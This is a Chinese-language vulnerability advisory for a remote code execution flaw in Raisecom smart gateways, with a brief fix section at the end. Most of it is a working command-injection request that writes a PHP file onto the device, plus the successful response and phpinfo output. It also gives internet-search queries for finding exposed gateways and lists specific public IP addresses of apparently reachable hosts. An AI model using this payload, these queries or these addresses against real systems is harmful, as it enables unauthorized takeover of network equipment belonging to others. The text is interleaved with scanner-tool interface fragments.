

瑞斯康达智能网关 RCE漏洞

漏洞描述

瑞斯康达智能网关是一种用于电信和企业网络的高性能设备，主要用于边缘网络接入和智能数据处理。它集成了多种网络功能，如路由、交换、防火墙和VPN，能够支持多种接入方式，如光纤、以太网和无线通信等。/vpn/list_service_manage.php可进行命令注入攻击，导致远程代码执行。

影响版本

瑞斯康达智能网关

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	高
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/images/raisecom/back.gif" && title=="Web user login"

POC/EXP:

POST /vpn/list_service_manage.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/83.0.4103.116 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Connection: close

Nradius_submit=true&template=%60echo+-

e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28FILE%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Fjp.php%60

发送请求

强制 HTTPS

历史

生成 Yaml 模

Request

数据包扫描

热加载

构造请求

1

POST /vpn/list_service_manage.php HTTP/1.1

2

Host: 192.168.1.100

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

4

Content-Type: application/x-www-form-urlencoded

5

Connection: close

6

7

Nradius_submit=true&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Fjp.php%60

Responses

https 2495bytes / 418ms 美化 渲染 详情

1

HTTP/1.1 200 OK

2

X-Powered-By: PHP/5.2.9

3

Set-Cookie: PHPSESSID=36e371bd4b14f4ec8d05dd354415981c; path=/

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Pragma: no-cache

6

Cache-control: private

7

Content-type: text/html; charset=utf-8

8

Connection: close

9

Date: Sat, 24 Aug 2024 09:53:05 GMT

10

Server: lighttpd/1.4.31

11

Content-Length: 2495

12

13

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

14

<html xmlns="http://www.w3.org/1999/xhtml">

15

16

17

<head>

18

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

19

<title>无标题文档</title>

20

<link href="..lib/indexprivate.css" rel="stylesheet" type="text/css" />

21

<script src="..js_script/FormValid.js" language="javascript"></script>

22

<script src="..js_script/FV_onBlur.js" language="javascript"></script>

23

<script src="..js_script/function.js"></script>

24

<script src="..js_script/ajax_function.js"></script>

25

<script language="javascript" src="..js/util.js"></script>

26

<script src="..js_script/jquery-1.4.2.js" language="..

phpinfo()

不安全

/tmp/jp.php

| PHP Version 5.2.9 | |
|-----------------------------------|---|
| System | Linux host 3.12.19-rt30-svn41895 #1 SMP Mon Dec 25 15:12:13 CST 2017 ppc |
| Build Date | Dec 10 2014 08:03:53 |
| Configure Command | ./configure '--host=/opt/fsl-networking/QorIQ-SDK-V1.6/sysroots/i686-fslsdk-linux/usr/' '--prefix=/home/luoyun/br_powerpc_dev_20140729/userspace/uslibs/php-5.2.9/' '--without-pear' '--enable-fastcgi' '--enable-sockets' '--enable-discard-path' '--enable-force-cgi-redirect' '--with-gd' '--with-config-file-path=/etc' '--without-iconv' '--with-zlib' '--with-png' '--enable-mbstring' '--disable-hash' '--disable-json' '--disable-pdo' '--disable-simplexml' '--disable-spl' '--without-sqlite' '--disable-tokenizer' '--disable-xml' '--disable-xmlreader' '--disable-xmlwriter' '--with-openssl' '--with-xmlrpc' '--with-zlib-dir=/home/luoyun/br_powerpc_dev_20140729/userspace/uslibs/php-5.2.9/./zlib-1.2.5.1/' '--with-png-dir=/home/luoyun/br_powerpc_dev_20140729/userspace/uslibs/php-5.2.9/./libpng-1.5.2/' '--with-openssl-dir=/home/luoyun/br_powerpc_dev_20140729/userspace/uslibs/php-5.2.9/./openssl-1.0.1h/ins' '--with-libxml-dir=/home/luoyun/br_powerpc_dev_20140729/userspace/uslibs/php-5.2.9/./libxml2-2.6.26/' |
| Server API | CGI/FastCGI |
| Virtual Directory Support | disabled |
| Configuration File (php.ini) Path | /etc |
| Loaded Configuration File | /etc/php.ini |
| Scan this dir for additional | (none) |

该漏洞影响范围广泛，定义为重要漏洞预警

FQFA

body="/images/raisecom/back.gif" && title=="Web u

会员 支持及工具

all

17,927 条匹配结果 (14,191 条独立IP), 137 ms , 关键词搜索。

显示一年内数据, 点击 all 查看所有。

网站指纹排名

| | |
|----------|--------|
| PKbdn... | 12,906 |
| 2nBV9... | 2,744 |
| vNZJ5... | 1,042 |
| MF32... | 314 |
| HMQI0... | 287 |

国家/地区排名

| | |
|--------|-------|
| >> 中国 | 7,267 |
| >> 阿根廷 | 4,305 |
| >> 巴西 | 3,541 |
| >> 加拿大 | 651 |
| >> 俄罗斯 | 506 |

Web user login

中国 / 江西省 / Gan...

ASN: 4134

组织: Chinanet

2024-08-14

lighttpd/1.4.31

Header

Products

HTTP/1.1 200 OK

Connection: close

Transfer-Encoding: chunked

Cache-Control: no-cache,must-revalidate

Content-Type: text/html

Date: Wed, 14 Aug 2024 08:17:02 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: lighttpd/1.4.31

Set-Cookie: PHPSESSID=01d40cda5f98ed800edfd420

DayDayMap

body="/images/raisecom/back.gif" && title=="Web user login"

☆ 收藏夹 窗口 搜索

首页 ... 3

世界地图

国家/地区

| | |
|-----|--------|
| 中国 | 17,319 |
| 巴西 | 4,298 |
| 阿根廷 | 3,246 |
| 俄罗斯 | 712 |
| 加拿大 | 534 |

端口

| | |
|------|-------|
| 80 | 8,849 |
| 443 | 8,599 |
| 8090 | 5,248 |
| 8443 | 1,436 |
| 8117 | 557 |

共有 27,445 个检索结果, 独立IP 22,803 个, 用时 353 ms。

body="/images/raisecom/back.gif" && title=="Web user login"

检索结果 数据统计

开始日期 → 结束日期 全部资产 全部标签 数据过滤

https://45.189.220.227

2024-08-12

巴西 / Minas Gerais / Padre Paraíso

443 https

Header 网页 证书

网站标题: Web user login 设备名称: --

ASN: AS269615 Server: Apache/2.4.18

自治域: DELTA TELECOM 开发语言: PHP

运营商: DELTA TELECOM 操作系统: --

组件: Java +3

HTTP/1.1 200 OK

X-Powered-By: PHP/7.1.30

Set-Cookie: PHPSESSID=hm54658902hp1hh2sa34hqqq2k; path=

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Cache-control: private

https://45.167.78.68

2024-08-12

巴西 / Acre / Brasileia

443 https

Header 网页 证书

网站标题: Web user login 设备名称: --

ASN: AS269615 Server: Apache/2.4.18

自治域: DELTA TELECOM 开发语言: PHP

运营商: DELTA TELECOM 操作系统: --

组件: Java +3

HTTP/1.1 200 OK

修复方案

1. 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本
- 及时关注厂商修复方案。